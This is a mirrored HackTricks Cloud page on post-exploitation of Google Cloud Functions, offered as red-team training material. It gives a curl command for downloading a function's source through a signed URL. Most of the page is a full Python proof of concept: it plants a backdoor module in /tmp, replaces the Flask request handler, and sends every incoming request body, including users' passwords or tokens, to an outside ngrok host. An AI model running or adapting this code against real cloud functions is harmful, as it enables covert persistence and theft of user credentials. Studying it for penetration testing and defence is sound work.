mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
144 lines
6.0 KiB
Markdown
144 lines
6.0 KiB
Markdown
# GCP - Cloud Functions Post Exploitation
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Cloud Functions
|
|
|
|
Find some information about Cloud Functions in:
|
|
|
|
{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
|
|
[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
### `cloudfunctions.functions.sourceCodeGet`
|
|
|
|
With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
|
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{}'
|
|
```
|
|
{% endcode %}
|
|
|
|
### Steal Cloud Function Requests
|
|
|
|
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
|
|
|
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
|
|
|
For example this code implements the attack:
|
|
|
|
```python
|
|
import functions_framework
|
|
|
|
|
|
# Some python handler code
|
|
@functions_framework.http
|
|
def hello_http(request, last=False, error=""):
|
|
"""HTTP Cloud Function.
|
|
Args:
|
|
request (flask.Request): The request object.
|
|
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
|
|
Returns:
|
|
The response text, or any set of values that can be turned into a
|
|
Response object using `make_response`
|
|
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
|
|
"""
|
|
|
|
if not last:
|
|
return injection()
|
|
else:
|
|
if error:
|
|
return error
|
|
else:
|
|
return "Hello World!"
|
|
|
|
|
|
|
|
# Attacker code to inject
|
|
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
|
|
|
|
new_function = """
|
|
def exfiltrate(request):
|
|
try:
|
|
from urllib import request as urllib_request
|
|
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
|
|
urllib_request.urlopen(req, timeout=0.1)
|
|
except Exception as e:
|
|
if not "read operation timed out" in str(e):
|
|
return str(e)
|
|
|
|
return ""
|
|
|
|
def new_http_view_func_wrapper(function, request):
|
|
def view_func(path):
|
|
try:
|
|
error = exfiltrate(request)
|
|
return function(request._get_current_object(), last=True, error=error)
|
|
except Exception as e:
|
|
return str(e)
|
|
|
|
return view_func
|
|
"""
|
|
|
|
def injection():
|
|
global new_function
|
|
try:
|
|
from flask import current_app as app
|
|
import flask
|
|
import os
|
|
import importlib
|
|
import sys
|
|
|
|
if os.access('/tmp', os.W_OK):
|
|
new_function_path = "/tmp/function.py"
|
|
with open(new_function_path, "w") as f:
|
|
f.write(new_function)
|
|
os.chmod(new_function_path, 0o777)
|
|
|
|
if not os.path.exists('/tmp/function.py'):
|
|
return "/tmp/function.py doesn't exists"
|
|
|
|
# Get relevant function names
|
|
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
|
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
|
realpath = os.path.realpath(source_path) # Get full path
|
|
|
|
# Get the modules representations
|
|
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
|
|
module_handler = importlib.util.module_from_spec(spec_handler)
|
|
|
|
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
|
|
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
|
|
|
|
# Load the modules inside the app context
|
|
with app.app_context():
|
|
spec_handler.loader.exec_module(module_handler)
|
|
spec_backdoor.loader.exec_module(module_backdoor)
|
|
|
|
# make the cloud funtion use as handler the new function
|
|
prev_handler = getattr(module_handler, handler_fname)
|
|
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
|
|
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
|
|
return "Injection completed!"
|
|
|
|
except Exception as e:
|
|
return str(e)
|
|
```
|